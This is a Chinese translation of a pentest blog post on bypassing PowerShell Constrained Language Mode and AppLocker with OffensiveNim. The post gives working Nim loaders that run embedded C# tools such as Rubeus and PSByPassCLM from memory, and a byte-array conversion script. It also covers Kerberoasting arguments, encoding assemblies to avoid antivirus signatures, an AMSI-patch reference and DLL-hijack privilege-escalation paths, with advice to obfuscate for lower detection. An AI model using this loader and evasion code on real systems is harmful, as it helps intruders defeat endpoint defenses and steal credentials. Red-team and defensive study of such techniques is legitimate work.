导语:在这篇文章中,我要介绍的是我前一段时间遇到的一个问题,以及如何绕过`Constrained Language Mode`和`Applocker`使用通用技术来处理这种情况。这篇文章中没有太多新技术,所用的技术均已公开。但是也许你们中的某些人将来会遇到类似的情况,这篇文章可能会对你有所帮助。
在这篇文章中,我要介绍的是我前一段时间遇到的一个问题,以及如何绕过Constrained Language Mode和Applocker使用通用技术来处理这种情况。这篇文章中没有太多新技术,所用的技术均已公开。但是也许你们中的某些人将来会遇到类似的情况,这篇文章可能会对你有所帮助。
0x01 绕过Windows保护机制
我面对的是在每个系统上启用了约束语言模式(CLM)的Windows环境。
PowerShell约束语言是PowerShell的一种语言模式,旨在支持日常管理任务,但限制了对可用于调用任意Windows API的敏感语言元素的访问。
你可以通过在Powershell控制台窗口中执行以下命令来查看该语言模式是否处于活动状态:
$ExecutionContext.SessionState.LanguageMode
默认模式是FullLanguage允许执行任何命令。
如果你的环境中启用了CLM,则很可能将本机Windows Powershell.exe用于攻击目的。通过Powershell没有与命令和控制(C2)连接,没有通过脚本加载的脚本,对于防御者,启用Constrained Language Mode,将使恶意攻击者和所有渗透测试人员更加艰难。
但是,有许多公开的技术可以绕开这种保护机制。该限制适用于本机Powershell.exe,因此,如果你使用Powershell Runspace将自己的Powershell带入受感染的系统或任何其他二进制文件,则可以照常执行命令和脚本。我过去用来绕过CLM的一些工具如下:
· PSByPassCLM - C# Powershell Runspace
· PowerShdll - C# Powershell Runspace
· InsecurePowerShell - Powershell fork without security features
· PowerLessShell - C# Runspace via MSBuild
· MSBuildShell - C# Runspace via MSBuild
还有更多类似theese的工具,到目前为止,我发现的所有内容都包含在我的Pentest工具列表中。
通过Powershell Runspace使用与.NET API的直接通信应该很容易绕过CLM并执行我们的C2-stager,不幸的是,CLM并不是在这种环境中活动的唯一保护机制,他们还在客户端上启用了Applocker。
AppLocker改进了软件限制策略的应用程序控制功能。AppLocker包含新功能和扩展,可让你创建规则以基于文件的唯一标识来允许或拒绝应用程序运行,并指定哪些用户或组可以运行这些应用程序。
以我的经验,Applocker不同配置之间的保护级别差异很大。如果公司启用Applocker但将配置保留为默认状态,则有许多快速优势可以绕过它,Github上有很多很棒的列表,介绍了如何绕过默认配置:
· https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
· https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
因此,要绕过默认配置,你可以使用上面已经提到的相同工具。它们可以与MSBuild.exe一起使用,并且默认配置中允许这些rundll32.exeWindows二进制文件执行。另外,任何二进制文件都可以放置在具有执行权限的可写目录中。
但是,在给定的环境中,所有这些默认位置和提及的本机Windows二进制文件均被禁止。要查看当前的Applocker配置,可以使用以下Powershell命令,即使Constrained Language Mode启用该命令也仍然允许:
Get-AppLockerPolicy -Effective -Xml | Set-Content ('c:\users\currentuser\Desktop\ApplockerConfig.xml')
在我看来,理解XML输出是很直接的,因此在这里我不会深入探讨。在给定的环境中,我很幸运地找到了一个可写目录,该目录可被安装在许多客户端系统上的Java应用程序使用:
C:\oracle\java\bin\
在此目录中删除二进制文件使我们能够不受限制地执行代码。我们可以简单地把上面提到的工具(不是MSBuild.exe或Rundll32.exe文件夹中),在没有限制执行任何PowerShell命令,因为我们也可以绕过Constrained Language Mode。
有趣的事实:一个可写的PATH变量文件夹位置允许在受影响的客户端上进行本地特权升级。在这种情况下,C:\oracle\java\bin路径是可写的,并且包含在PATH环境变量中。你可以使用脚本找到此漏洞。如果将DLL放置在该目录中,该目录不位于磁盘上的任何位置,但是Windows服务会要求该DLL并以NT-Authority\SYSTEM权限执行该DLL,则可能会获得系统shell。另外,此服务必须对默认的DLL搜索顺序起作用。一些利用此漏洞的DLL是:
· CDPSvc.dll -连接设备平台服务(CDPSvc) - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
· WptsExtensions.dll -Windows10 Task Scheduler服务- https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
· wlanhlp.dll-Windows Server 2008R2-2019 NetMan DLL劫持https://itm4n.github.io/windows-server-netman-dll-hijacking/
0x02 OffensiveNim 介绍
OffensiveNim的一些优势:
· 可以直接编译为C,C ++,Objective-C和Javascript。
· 避免使你实际上用C / C ++编写,并且随后避免在软件中引入很多安全问题。
· 从* nix / MacOS到Windows很容易交叉编译,只需要你安装mingw工具链并将单个标志传递给nim编译器。
· Nim编译器和生成的可执行文件支持所有主要平台,例如Windows,Linux,BSD和macOS。
Nim直接编译为C / C ++为OffensiveNim二进制文件提供了Offensive C工具的优势。例如,你可以使用C二进制PE-Loader或PE-Packer,这使得从内存执行变得容易。
提到的每种绕过工具都是用C#编写的。从防御者的角度来看,我更喜欢使用C#工具而不是C / C ++编译的二进制文件的攻击者。如果攻击者在磁盘上留下了C#二进制文件,则防御者可以使用ILSpy或用于恶意软件分析。在现实世界的事件中,我还看到攻击者使用Powershell脚本从内存中加载C#二进制文件,以便在注册表上持久启动。修改Powershell脚本以将二进制文件拖放到磁盘上而不是将其加载到磁盘上,使它们可以通过反编译器进行分析,而无需转储内存。C / C ++二进制文件较难分析,因为必须使用IDA Pro或Ghidra或类似工具将其反编译。
在加载C#可执行文件之前在Nim中修补AMSI非常简单。因此,此AMSI旁路永远不会被AMSI自身捕获。过去,Microsoft仅通过为其构建新的AMSI签名来阻止所有公共旁路。这是不可能的,如果将它放在磁盘上,传统的AV软件仍会使用文件字节的签名来检测到它。
但是,如何在Nim中实际使用我们现有的工具呢?新的Nim模板已添加到OffensiveNim存储库:execute_assembly_bin.nim。这段代码实际上将一个C#编译的可执行文件(转换为字节数组)加载到内存中:
#[ Author: Marcello Salvati, Twitter: @byt3bl33d3r License: BSD 3-Clause I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff. Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim` Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects. References: - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim ]# import winim/clr import sugar import strformat # Just pops a message box... or does it? ;) var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90[...snip...]0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0] echo "[*] Installed .NET versions" for v in clrVersions(): echo fmt" \--- {v}" echo "\n" echo "" var assembly = load(buf) dump assembly #[ # I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong! # See https://github.com/byt3bl33d3r/OffensiveNim/issues/9 var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString()) var mn = fromCLRVariant[string](assembly.EntryPoint.Name) echo fmt"[*] EntryPoint.DeclaringType: '{dt}'" echo fmt"[*] EntryPoint.MethodName: '{mn}'" var t = assembly.GetType(dt) var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod @t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array @t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args ]# var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
下载Nim并使用nimble install winim导入WinIm是一个简单的设置。在给定的模板中,byt3bl33d3r执行两次.NET Messagebox-一次不带参数,一次实际传递一些args。我删除了第一个不带参数的EntryPoint.Invoke(),因为不需要执行两次。对于我的第一次尝试,我想将Rubeus二进制文件包装到Nim可执行文件中。因此,我像往常一样编译了Rubeus,并编写了一个小的Powershell脚本将其转换为Nim可用的字节数组:
function CSharpToNimByteArray { Param ( [string] $inputfile, [switch] $folder ) if ($folder) { $Files = Get-Childitem -Path $inputfile -File $fullname = $Files.FullName foreach($file in $fullname) { Write-Host "Converting $file" $outfile = $File + "NimByteArray.txt" [byte[]] $hex = get-content -encoding byte -path $File $hexString = ($hex|ForEach-Object ToString X2) -join ',0x' $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x") $Results = $Results + "]" $Results | out-file $outfile } Write-Host -ForegroundColor yellow "Results Written to the same folder" } else { Write-Host "Converting $inputfile" $outfile = $inputfile + "NimByteArray.txt" [byte[]] $hex = get-content -encoding byte -path $inputfile $hexString = ($hex|ForEach-Object ToString X2) -join ',0x' $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x") $Results = $Results + "]" $Results | out-file $outfile Write-Host "Result Written to $outfile" } }
这使得将任何C#二进制文件甚至包含C#二进制文件的整个文件夹转换为Nim字节数组非常容易:
生成的Nim字节数组如下所示:
var buf: array[198144, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,[...snip...]0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
使用此字节数组而不是消息框1并通过编译Nim代码,最终得到一个C编译的可执行文件nim c execute_assembly_bin.nim,该文件加载Rubeus并返回帮助菜单:
这对Rubeus毫无帮助,因为我们实际上想将参数传递给Nim编译的可执行文件,该文件应转发给C#可执行文件。在给定的模板文件中,在以下行中传递参数:
arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
我发现,通过传递诸如“ kerberoast”之类的单个参数,而不是“ From Nim&.NET!”。Rubeus使用kerberoasting攻击成功地从内存中加载。我第一次尝试传递参数如下所示:
import os [...] var cmd = "" var i = 1 while i <= paramCount(): cmd.add(paramStr(i)) cmd.add(" ") inc(i) echo cmd # Only for troubleshooting purpose var arr = toCLRVariant([cmd], VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
但是所有包含空格的内容均未成功解析,仅返回了Rubeus helpme。解决此问题后,我进一步检查了toCLRVariant()仅接受多个参数的数组。修改代码以为C#二进制文件传递两个参数,如下所示:
var arr = toCLRVariant(["kerberoast", "/format:hashcat"], VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
为了传递任意数量的参数,我之后使用了以下代码:
var cmd: seq[string] var i = 1 while i <= paramCount(): cmd.add(paramStr(i)) inc(i) echo cmd var arr = toCLRVariant(cmd, VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
Nim C编译的Rubeus二进制文件已准备好了:
还有一件事要提及:我使用的纯C#Rubeus二进制文件被Virustotal上的26/72引擎检测到:
NimRubeus版本获得了16/70的检测率:
因此,将二进制文件包装成其他语言也可以绕过AV软件。但是,我建议在将C#二进制文件转换为字节数组之前先对其进行模糊处理,这将降低检测率。
对于AV厂商而言,在Nim编译的可执行文件中检测.NET程序集仍然非常容易。如果我们嵌入纯文本.NET程序集字节,则分析人员只需在十六进制编辑器中打开它即可看到嵌入的二进制文件:
对于AV厂商来说,标记这些字节非常容易。因此,仅此方法绕过AV软件并不是很好。因此,如果你希望Nim编译的二进制文件隐藏.NET程序集,则必须在运行时对其进行编码/加密和解码/解密。可以使用以下代码在Nim中完成Base64编码和解码:
import base64 import os import strformat func toByteSeq*(str: string): seq[byte] {.inline.} = # Converts a string to the corresponding byte sequence @(str.toOpenArrayByte(0, str.high)) let inFile: string = paramStr(1) let inFileContents: string = readFile(inFile) # To load this .NET assembly we need a byte array or sequence var bytesequence: seq[byte] = toByteSeq(inFileContents) let encoded = encode(bytesequence) echo fmt"[*] Encoded: {encoded}" let decoded = decode(encoded) echo fmt"[*] Decoded: {decoded}"
要在生成的二进制文件中完全隐藏.NET程序集,可以使用AES加密或XOR操作。@ byt3bl33d3r刚刚发布了一个PoC,用于通过Nim进行加密和解密:
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim
这可以用于加密.NET程序集以及用于运行时解密:
你需要将winim/clr通过以下方式导入:
import winim/clr except `[]`
以下代码包含包装到Nim中的PSByPassCLM,这使我们能够通过将此编译后的二进制文件放入C:\oracle\bin\文件夹来绕过这两个函数:
#[ Author: Marcello Salvati, Twitter: @byt3bl33d3r License: BSD 3-Clause I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff. Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim` Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects. References: - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim ]# import winim/clr import sugar import strformat import os # PSBypassCLM Binary var buf: array[10240, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x22,0x00,0x0B,0x01,0x30,0x00,0x00,0x1E,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x8E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x60,0x85,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x3C,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x3B,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x94,0x1C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x72,] var assembly = load(buf) var cmd: seq[string] var i = 1 while i <= paramCount(): cmd.add(paramStr(i)) inc(i) var arr = toCLRVariant(cmd, VT_BSTR) assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))
我删除了AMSI旁路,并做了一些字符串替换。顺便说一句,如果AMSI检测到你的C#程序集,你将从Nim二进制文件中收到以下错误消息:
Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]
如果你对C#混淆没兴趣,可以构建自己的Nim加载器(包括在运行时解密的加密但未混淆的C#二进制文件),则还可以在该行的前面使用OffensiveNim amsi_patch_bin.nim模板代码EntryPoint.Invoke。这看起来像这样,amsi.dll在加载.NET程序集之前对其进行了修补。
https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5
可以使用我们的新PSBypassCLM Nim二进制文件:
0x03 分析总结
绕过Constrained Language Mode主要是与.NET API的直接通信,而不是使用本机Powershell.exe。Applocker旁路在很大程度上取决于所使用的配置。任何登录的用户都可以查看包含每个策略的配置,然后分析其薄弱环节。使用默认的Applocker许多publicy提供旁路方法策略效果使用本机Windows工具,例如Msbuild.exe,rundll32.exe等等。
Nim可以直接编译为C / C ++,这为我们提供了一些便利。即使没有熟练的C / C ++开发能力,它也易于使用Nim并从中获得有价值的C-binary。byt3bl33d3r的OffensiveNim存储库提供了许多示例模板,包括简单的MessageBox,在Nim中嵌入C代码,PPID欺骗和BlockDLL,shellcode执行等等,以及从内存反射执行.NET程序集。我们专注于从任何C#二进制文件构建Nim字节数组,以使用execute_assembly_bin.nim模板构建自定义的C编译二进制文件。我们看到了如何在Nim中解析参数,然后将其传递给C#程序集。
可以将现有工具包装成另一种语言来进行AV逃避,但是我认为OffensiveNim模板的签名存在只是时间问题。因此,建议在嵌入它们之前对它们进行自定义和/或混淆.NET程序集。
0x04 参考资源
· OffensiveNim - https://github.com/byt3bl33d3r/OffensiveNim
· Constrained Language Mode - https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
· Powershell Runspace - https://docs.microsoft.com/en-us/powershell/scripting/developer/hosting/windows-powershell-host-quickstart?view=powershell-7.1
· PSByPassCLM - https://github.com/padovah4ck/PSByPassCLM
· PowerShdll - https://github.com/p3nt4/PowerShdll
· InsecurePowershell - https://github.com/cobbr/InsecurePowerShell
· PowerLessShell - https://github.com/Mr-Un1k0d3r/PowerLessShell
· MSBuildShell - https://github.com/Cn33liz/MSBuildShell
· Generic Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
· Verified Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
· Find writable PATH Environment variable locations - https://gist.github.com/wdormann/eb714d1d935bf454eb419a34be266f6f
· Connected Devices Platform Service (CDPSvc) DLL Hijack - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
· Windows 10 Task Scheduler service DLL Hijack - https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
· Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/
· UsoDllLoader - https://github.com/itm4n/UsoDllLoader
· WerTrigger - https://github.com/sailay1996/WerTrigger
· Faxhell - https://github.com/ionescu007/faxhell
· FileWrite2System - https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt
· IlSpy - https://github.com/icsharpcode/ILSpy
· dnSpy - https://github.com/dnSpy/dnSpy
· Ida Pro - https://www.hex-rays.com/products/ida/
· Ghidra - https://ghidra-sre.org/
· execute_assembly_bin.nim template - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
· Rubeus - https://github.com/GhostPack/Rubeus
· Nim execute assembly + AMSI bypass gist - https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5
本文翻译自:https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/如若转载,请注明原文地址: